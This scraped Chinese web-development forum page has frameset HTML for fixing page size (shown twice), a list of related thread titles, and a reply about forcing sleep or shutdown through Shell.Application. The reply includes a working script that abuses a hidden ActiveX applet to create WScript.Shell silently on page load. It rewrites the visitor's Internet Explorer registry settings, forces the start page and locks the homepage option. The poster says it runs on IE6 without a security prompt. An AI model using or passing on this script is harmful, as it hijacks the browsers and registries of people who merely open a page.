用网页框架可以固定网页的大小,试一下:
<html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>
KKK
</title>
</head>
<frameset cols="*,700,*" border=0>
<frame src="" border=0>
<frameset rows="*,500,*" border=0>
<frame src="" border=0>
<frame name=main src="main.htm" border=0>
<frame src="" border=0>
</frameset>
<frame src="" border=0>
</frameset>
</html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>
KKK
</title>
</head>
<frameset cols="*,700,*" border=0>
<frame src="" border=0>
<frameset rows="*,500,*" border=0>
<frame src="" border=0>
<frame name=main src="main.htm" border=0>
<frame src="" border=0>
</frameset>
<frame src="" border=0>
</frameset>
</html>
解决方案 »
- 求解
- 请问这段代码能简写成一句吗?
- 求关于怎样学好javascript的方法
- div的background-color设置为transparent后,就变成中空的了吗
- 菜鸟急问,如何绕过ie7对最简单的javascript的屏蔽
- select---->option
- 请问怎样用javascript遍历TreeView
- 如何统计文本框中的字数,并在旁边的文字中实时的提示出来?
- 求助:怎样在JS中获得MS Media Player的错误代码?如播放文件不存的errorcode?
- 微软的 js 和 javascript 有什么区别!
- 怎么不用上载控件,而实现文件上载,或用ActiveX替换文件上载控件
- 请问如何去掉input框里的输历史记录
使用shell。application。1
然后在suspend()和shutdownwindows()//睡眠和关机
你可以先该注册表然后shutdownwindows(),
懂了吗?
不过别乱用,小心报应啊。
呵呵
//初始化actiVex控件
document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveXComponent></applet>")
//初始化actiVex控件结束
//定义变量
function reg(){
try
{
//设定applets为0
a=document.applets[0]
//初始化Windows Script Host Shell Object
a.setCLSID("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}")
a.createInstance()
S=a.GetObject()
//初始化FileSystem Object
a.setCLSID("{0d43fe01-f093-11cf-8940-00a0c9054228}")
a.createInstance();
fs=a.GetObject()
try
{
//开始写注册表
//设定IE的标题为Internet Explorer
S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title","Internet Explorer")
//设定IE的默认首页为空白页
S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","about:blank")
//让设定首页那项变灰
S.RegWrite ("HKEY_USERS\\.DEFAULT\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\HomePage",0x1,"REG_DWORD")}
catch(reg)
{}
}
catch(reg)
{}
}
function flash()
{
//隔100毫秒就运行一次
setTimeout("reg()",100)
}
flash()
//最后再重申,这个脚本不可用来害人,谢~
</script>我在ie6上用过了。也没安全提示。
但请别乱用,否则会报应的。
懂了吗?
呵呵。